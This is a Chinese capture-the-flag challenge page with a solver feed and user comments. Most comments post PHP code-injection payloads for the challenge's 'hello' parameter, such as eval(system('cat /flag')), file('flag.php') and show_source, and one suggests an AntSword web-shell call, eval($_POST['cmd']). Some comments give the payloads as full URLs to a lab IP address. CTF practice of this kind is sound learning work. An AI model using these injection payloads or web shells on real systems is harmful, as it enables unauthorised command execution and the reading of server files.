评分(12)
解题动态
Hogan 攻破了该题 22分钟前
sorry123 攻破了该题 2小时前
xiaolili 攻破了该题 3小时前
ljjbit 攻破了该题 7小时前
墨尘 攻破了该题 8小时前
booku 攻破了该题 9小时前
15306829633 攻破了该题 9小时前
CHT 攻破了该题 10小时前
河马 攻破了该题 10小时前
Mr.Cyber 攻破了该题 12小时前
聪仔草莓51 攻破了该题 14小时前
pleonexia123 攻破了该题 14小时前
wsx68696 攻破了该题 1天前
lipingctf 攻破了该题 1天前
H1lla1n 攻破了该题 1天前
liyimanfan 攻破了该题 1天前
Yun1217 攻破了该题 2天前
你倒过来读看看呢 攻破了该题 2天前
jvfnvd.vl 攻破了该题 2天前
评论
b2026tf 2月前
举报
http://171.80.2.169:17829/?hello=eval(system(%27cat%20/flag%27))
syhaisy 3月前
举报
GET /?hello=system('cat+flag.php') HTTP/1.1
FTJJJ 3月前
举报
?hello=eval(system('cat flag.php|grep {'))
kitniu 4月前
举报
file()是 " 的HTML 实体编码，是 PHP 内置的文件系统函数，核心功能是将整个文件按行读入一个字符串数组，每行（含换行符）为一个数组元素。 http://171.80.2.169:10115/?hello=file(%27flag.php%27)
小小书生 4月前
举报
?hello=eval(system(%27cat%20/flag%27))
19153693078 4月前
举报
根据代码php文件中包含flag.php 将传值hello得结果赋值给a，输出a得值，?hello=1 输出int 1,尝试将结果换成flag.php输出string(8) "flag.php",格式还是有问题的，考虑其是php文件，尝试?hello=file("flag.php"),得到文件中内容
auroraSEA 4月前
举报
?hello=show_source(%27flag.php%27)
chm 6月前
举报
http://171.80.2.169:19841/?hello=file(%22flag.php%22)
yiya咿呀 7月前
举报
url/?hello=eval(system('cat /flag'))
道法自然 7月前
举报
蚁剑直接 url/?hello=eval($_POST['cmd')